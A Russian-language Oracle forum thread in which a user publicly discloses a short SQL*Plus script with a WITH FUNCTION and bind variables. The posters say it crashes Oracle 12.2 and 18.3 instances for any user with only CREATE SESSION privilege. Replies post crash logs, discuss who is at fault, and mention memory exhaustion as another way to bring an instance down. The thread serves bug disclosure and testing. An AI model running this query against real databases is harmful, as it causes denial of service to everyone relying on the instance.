Добро пожаловать в форум, Guest  >>   Войти | Регистрация | Поиск | Правила | В избранное | Подписаться
Все форумы / Oracle Новый топик    Ответить
Топик располагается на нескольких страницах: [1] 2   вперед  Ctrl      все
 Как завалить экземпляр 12.2 одним запросом  [new]
Wornet
Member

Откуда:
Сообщений: 1
мы тут, случайно, нашли способ завалить rdbms версии 12.2 одним единственным запросом, для которого достаточно обладать привилегией create session
патчи не помогают(23493031 например). патч-левел БД может быть любой - как голый 12.2, так и самый распоследний PSU. ОС тоже любая - валится и на линуксе и на винде.
уровень поддержки не позволяет нам создавать SR, возможно, публикация в открытом источнике позволит достучаться до вендора, и он прикроет дырочку.
обладатели 18 и 19ой версии могут попробовать на более свежей БД, отпишитесь, пожалуйста, падает ли базовод в этих версиях?

вот, собственно, сабж:
var v_res number;
var v_aaa number;
var v_bbb number;
var v_ccc number;
var v_ddd number;
var v_eee number;
var v_fff number;
WITH
      FUNCTION get_number(p_aaa in number,
                          p_bbb in number,
                          p_ccc in number,
                          p_ddd in number,
                          p_eee in number,
                          p_fff in number ) RETURN NUMBER IS
      BEGIN
          RETURN :v_res + 12345;
      END;
  SELECT DUMMY, get_number(:v_aaa,
                           :v_bbb,
                           :v_ccc,
                           :v_ddd,
                           :v_eee,
                           :v_fff)
  FROM DUAL;
/


Сообщение было отредактировано: 5 дек 19, 17:10
26 апр 19, 07:17    [21872159]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
Wornet
, и он прикроет дырочку.
В чём конкретно заключается твоя проблема? Ты не можешь не писать подобной херни?
26 апр 19, 07:56    [21872187]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Вячеслав Любомудров
Member

Откуда: Владивосток
Сообщений: 18486
А что не понятно?
Хочет напрячь саппорт на скорейший выпуск патча чтоб закрыть дыру
26 апр 19, 08:32    [21872200]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
Вячеслав Любомудров
чтоб закрыть дыру
Дыру с чьей точки зрения?
26 апр 19, 09:28    [21872241]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Вячеслав Любомудров
Member

Откуда: Владивосток
Сообщений: 18486
С т.з. админа, например

Очень неприятно, что есть код, который валит экземпляр и никак от этого не защитишься

Непонятно, что здесь может быть непонятно
26 апр 19, 09:34    [21872248]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
Вячеслав Любомудров
Непонятно, что здесь может быть непонятно
Разработчики, это твари, которые норовят замутить инъекцию назло админам, вместо того, что исправить код до работоспособного состояния?

И что делать с решением задач? Отложить на год, два, ∞ в ожидании патча? Не здравее ли будет объехать прямо сейчас?
26 апр 19, 10:39    [21872325]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
withrecursive
Member

Откуда:
Сообщений: 16
Elic
Вячеслав Любомудров
Непонятно, что здесь может быть непонятно
Разработчики, это твари, которые норовят замутить инъекцию назло админам, вместо того, что исправить код до работоспособного состояния?

Причем тут разработчики, когда этот код может выполнить любой юзер подключившись девелопером?
26 апр 19, 10:50    [21872333]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Vivat!San
Member

Откуда: Москва
Сообщений: 720
withrecursive
Причем тут разработчики, когда этот код может выполнить любой юзер подключившись девелопером?


если это так на проме, то Вам никакой патч не поможет.
26 апр 19, 10:59    [21872343]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
withrecursive
любой юзер подключившись девелопером?
Пользователи ходят в БД через не предназначенное для обычных пользователей гуй?
26 апр 19, 11:13    [21872365]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Aliona
Member

Откуда: Питер
Сообщений: 4031
Elic
Пользователи ходят в БД через не предназначенное для обычных пользователей гуй?

Подозреваю, что такое много где практикуется.
26 апр 19, 11:25    [21872386]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
Aliona
Подозреваю, что такое много где практикуется.
Те сами себе злобные буратины.
Я не понимаю, как можно заставлять бизнес-пользователя делать ежедневную работу в гуе для разработчика/админа. Для бизнес-задач необходимы специальное бизнес-приложения.
26 апр 19, 12:00    [21872436]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
withrecursive
Member

Откуда:
Сообщений: 16
Elic
Пользователи ходят в БД через не предназначенное для обычных пользователей гуй?

Естественно через гуй, но зная логин и пароль можно войти через девелопер.
26 апр 19, 12:07    [21872463]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Stax
Member

Откуда: Ukraine,Lviv
Сообщений: 2798
Elic
Aliona
Подозреваю, что такое много где практикуется.
Те сами себе злобные буратины.
Я не понимаю, как можно заставлять бизнес-пользователя делать ежедневную работу в гуе для разработчика/админа. Для бизнес-задач необходимы специальное бизнес-приложения.

формс+sql*plus+печать на матричному

.....
stax
26 апр 19, 12:39    [21872518]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
Stax
формс+sql*plus+печать на матричному
Зачем вам 12cR2?
26 апр 19, 12:49    [21872538]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
andreymx
Member

Откуда: Запорожье
Сообщений: 54396
Так валится ошибка или нет?
Или обсуждение умственных способностей ТС намного интереснее?

ЗЫ: завалить дев-БД - оно тоже никому нафиг не надо
26 апр 19, 13:02    [21872556]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Stax
Member

Откуда: Ukraine,Lviv
Сообщений: 2798
Elic
Stax
формс+sql*plus+печать на матричному
Зачем вам 12cR2?


пока незачем

я не искал подобный скрипт для 11-ки, и на 12+ -ке не буду проверять

хотя можно и попробовать, напр в ораклячем апексе

....
stax
26 апр 19, 13:09    [21872573]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Vivat!San
Member

Откуда: Москва
Сообщений: 720
andreymx
Так валится ошибка или нет?
Или обсуждение умственных способностей ТС намного интереснее?

ЗЫ: завалить дев-БД - оно тоже никому нафиг не надо


Он ошибку бы хоть выложил для начала.
26 апр 19, 13:10    [21872578]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
Vivat!San
ошибку бы хоть выложил для начала.
+ 12.2
2019-04-26T10:55:50.489556+03:00
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_ora_10892.trc (incident=100047):
ORA-00600: internal error code, arguments: [17147], [0x7FF190B9608], [], [], [], [], [], [], [], [], [], []
ORA-01006: bind variable does not exist
Incident details in: C:\ORA\diag\rdbms\elic122\elic122\incident\incdir_100047\elic122_ora_10892_i100047.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T10:55:55.798556+03:00
opiodr aborting process unknown ospid (10892) as a result of ORA-600
2019-04-26T10:55:56.112556+03:00
Dumping diagnostic data in directory=[cdmp_20190426105556], requested by (instance=1, osid=10892), summary=[incident=100047].
2019-04-26T10:55:58.976556+03:00
ERROR: Unable to normalize symbol name for the following short stack (at offset 350):
dbgexProcessError()+398<-dbgePostErrorKGE()+2191<-dbkePostKGE_kgsf()+90<-kgeade()+453<-kgeriv_int()+142<-kgeriv()+40<-kgeric1()+64<-kgherror()+364<-kghfrmrg()+3104<-kghsfx()+751<-kghungex()+327<-kghfrh()+2193<-kksFreeHeap()+606<-kksLockDelete()+1079<-kksLockOperation()+361<-kgllkdl()+4656<-kss_del_cb()+535<-kssxdl()+1447<-kssdel()+1253<-kssdch_int..0()+5297<-kssdch()+16<-ksuxds()+1638<-kss_del_cb()+243<-kssxdl()+1447<-kssdel()+1253<-kssdch_int..0()+5297<-kssdch()+16<-ksudlp()+389<-kss_del_cb()+243<-kssxdl()+1447<-kssdel()+1253<-ksuxdl()+720<-ksucln_dpc_cleanup()+511<-ksucln_dpc_dfs()+428<-ksucln_dpc_main()+1262<-ksucln_clean_main()+3598<-ksbrdp()+1556<-opirip()+1539<-opidrv()+960<-sou2o()+112<-opimai_real()+222<-opimai()+231<-BackgroundThreadStart()+702<-000000007715571D<-00000000772B385D
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_clmn_42500.trc (incident=99871):
ORA-00600: internal error code, arguments: [17147], [0x7FF190B9608], [], [], [], [], [], [], [], [], [], []
Incident details in: C:\ORA\diag\rdbms\elic122\elic122\incident\incdir_99871\elic122_clmn_42500_i99871.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T10:56:00.771556+03:00
Dumping diagnostic data in directory=[cdmp_20190426105600], requested by (instance=1, osid=42500 (CLMN)), summary=[incident=99871].
2019-04-26T10:56:00.852556+03:00
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_clmn_42500.trc:
ORA-00600: internal error code, arguments: [17147], [0x7FF190B9608], [], [], [], [], [], [], [], [], [], []
Errors in file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_clmn_42500.trc (incident=99872):
ORA-501 [] [] [] [] [] [] [] [] [] [] [] []
Incident details in: C:\ORA\diag\rdbms\elic122\elic122\incident\incdir_99872\elic122_clmn_42500_i99872.trc
2019-04-26T10:56:01.848556+03:00
USER (ospid: 42500): terminating the instance due to error 501
2019-04-26T10:56:01.878556+03:00
System state dump requested by (instance=1, osid=42500 (CLMN)), summary=[abnormal instance termination].
System State dumped to trace file C:\ORA\diag\rdbms\elic122\elic122\trace\elic122_diag_41284_20190426105601.trc
2019-04-26T10:56:15.695556+03:00
Instance terminated by USER, pid = 42500
+ 18.3
2019-04-26T13:23:11.491556+03:00
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_ora_8380.trc (incident=33755):
ORA-00600: internal error code, arguments: [17147], [0x7FF124F7D30], [], [], [], [], [], [], [], [], [], []
ORA-01006: bind variable does not exist
Incident details in: C:\ORA\diag\rdbms\elic18\elic18\incident\incdir_33755\elic18_ora_8380_i33755.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T13:23:14.266556+03:00
*****************************************************************
An internal routine has requested a dump of selected redo.
This usually happens following a specific internal error, when
analysis of the redo logs will help Oracle Support with the
diagnosis.
It is recommended that you retain all the redo logs generated (by
all the instances) during the past 12 hours, in case additional
redo dumps are required to help with the diagnosis.
*****************************************************************
2019-04-26T13:23:20.751556+03:00
opiodr aborting process unknown ospid (8380) as a result of ORA-600
2019-04-26T13:23:21.191556+03:00
Dumping diagnostic data in directory=[cdmp_20190426132321], requested by (instance=1, osid=8380), summary=[incident=33755].
2019-04-26T13:23:23.999556+03:00
ERROR: Unable to normalize symbol name for the following short stack (at offset 397):
dbgexPopulateIncCtx()+115<-dbgexProcessError()+398<-dbgePostErrorKGE()+2293<-dbkePostKGE_kgsf()+90<-kgeade()+438<-kgeriv_int()+144<-kgeriv()+61<-kgeric1l()+84<-kgherror_flag()+476<-kgherror()+31<-kghfrmrg()+3745<-kghfre()+717<-kghungex()+327<-kghfrh()+2262<-kksFreeHeap()+610<-kksLockDelete()+1101<-kksLockOperation()+1706<-kgllkds()+4772<-kss_del_cb()+544<-kssxdl()+887<-kssdel()+100<-kssdch_int..0()+5012<-kssdch()+16<-ksuxds()+1643<-kss_del_cb()+250<-kssxdl()+887<-kssdel()+100<-kssdch_int..0()+5012<-kssdch()+16<-ksudlp_int()+397<-ksudlp()+97<-kss_del_cb()+250<-kssxdl()+887<-kssdel()+100<-ksuxdl()+1135<-ksucln_dpc_cleanup()+496<-ksucln_dpc_dfs()+433<-ksucln_dpc_main()+1342<-ksucln_clean_main()+1630<-ksbrdp()+1629<-opirip()+777<-opidrv()+982<-sou2o()+112<-opimai_real()+294<-opimai()+255<-BackgroundThreadStart()+702<-0x000000007715571D<-0x00000000772B385D
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_clmn_22708.trc (incident=33307):
ORA-00600: internal error code, arguments: [17147], [0x7FF124F7D30], [], [], [], [], [], [], [], [], [], []
Incident details in: C:\ORA\diag\rdbms\elic18\elic18\incident\incdir_33307\elic18_clmn_22708_i33307.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
2019-04-26T13:23:25.275556+03:00
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_clmn_22708.trc:
ORA-00600: internal error code, arguments: [17147], [0x7FF124F7D30], [], [], [], [], [], [], [], [], [], []
Errors in file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_clmn_22708.trc (incident=33308):
ORA-501 [] [] [] [] [] [] [] [] [] [] [] []
Incident details in: C:\ORA\diag\rdbms\elic18\elic18\incident\incdir_33308\elic18_clmn_22708_i33308.trc
2019-04-26T13:23:25.861556+03:00
Dumping diagnostic data in directory=[cdmp_20190426132325], requested by (instance=1, osid=22708 (CLMN)), summary=[incident=33307].
2019-04-26T13:23:26.206556+03:00
USER (ospid: 22708): terminating the instance due to ORA error 501
2019-04-26T13:23:26.234556+03:00
System state dump requested by (instance=1, osid=22708 (CLMN)), summary=[abnormal instance termination].
System State dumped to trace file C:\ORA\diag\rdbms\elic18\elic18\trace\elic18_diag_19232_20190426132326.trc
2019-04-26T13:23:29.360556+03:00
opiodr aborting process unknown ospid (54964) as a result of ORA-1092
2019-04-26T13:23:42.634556+03:00
Instance terminated by USER, pid = 22708
26 апр 19, 13:27    [21872601]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
Elic
osid=42500 (CLMN)
Прост так процесс ЁКЛМН не назовут…
26 апр 19, 13:31    [21872606]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
withrecursive
Member

Откуда:
Сообщений: 16
Wornet
19ой версии могут попробовать на более свежей БД, отпишитесь, пожалуйста, падает ли базовод в этих версиях?
[src PLSQL]

livesql.oracle.com (Oracle Database 19c Enterprise Edition - 19.2.0.0.0) выдает вот такое
автор
1 error has occurred
Error: Internal Server Error

После этого на любой запрос выдает тоже самое (помогает только reset session)
26 апр 19, 13:34    [21872617]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
withrecursive
помогает только reset session
Блин. До конца не упали...
26 апр 19, 13:36    [21872620]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
DВА
Member

Откуда:
Сообщений: 5439
Вячеслав Любомудров
С т.з. админа, например

Очень неприятно, что есть код, который валит экземпляр и никак от этого не защитишься

Непонятно, что здесь может быть непонятно


а чем вам не нравится старый добрый способ просто выкушать всю память в какую-нить простенькую коллекцию?
26 апр 19, 13:56    [21872658]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Elic
Member

Откуда:
Сообщений: 29991
DВА
а чем вам не нравится старый добрый способ просто выкушать всю память в какую-нить простенькую коллекцию?
Так от этого ж вроде защита есть? Да и, вроде как, на линуксах это будет не вся, а 4G?
26 апр 19, 14:00    [21872666]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
DВА
Member

Откуда:
Сообщений: 5439
Elic
DВА
а чем вам не нравится старый добрый способ просто выкушать всю память в какую-нить простенькую коллекцию?
Так от этого ж вроде защита есть? Да и, вроде как, на линуксах это будет не вся, а 4G?

для кого и 4 гига это вся )))
на самом деле можно расширить границу, и это на один процесс ограничение
Если pga_aggregate_limit, то не очень надежная защита )
26 апр 19, 14:02    [21872670]     Ответить | Цитировать Сообщить модератору
 Re: Как завалить экземпляр 12.2 одним запросом  [new]
Алекссс
Member

Откуда:
Сообщений: 1999
Elic
Aliona
Подозреваю, что такое много где практикуется.
Те сами себе злобные буратины.
Я не понимаю, как можно заставлять бизнес-пользователя делать ежедневную работу в гуе для разработчика/админа. Для бизнес-задач необходимы специальное бизнес-приложения.

вообще-то sql придумали для аналитиков Картинка с другого сайта.
26 апр 19, 14:12    [21872684]     Ответить | Цитировать Сообщить модератору
Топик располагается на нескольких страницах: [1] 2   вперед  Ctrl      все
Все форумы / Oracle Ответить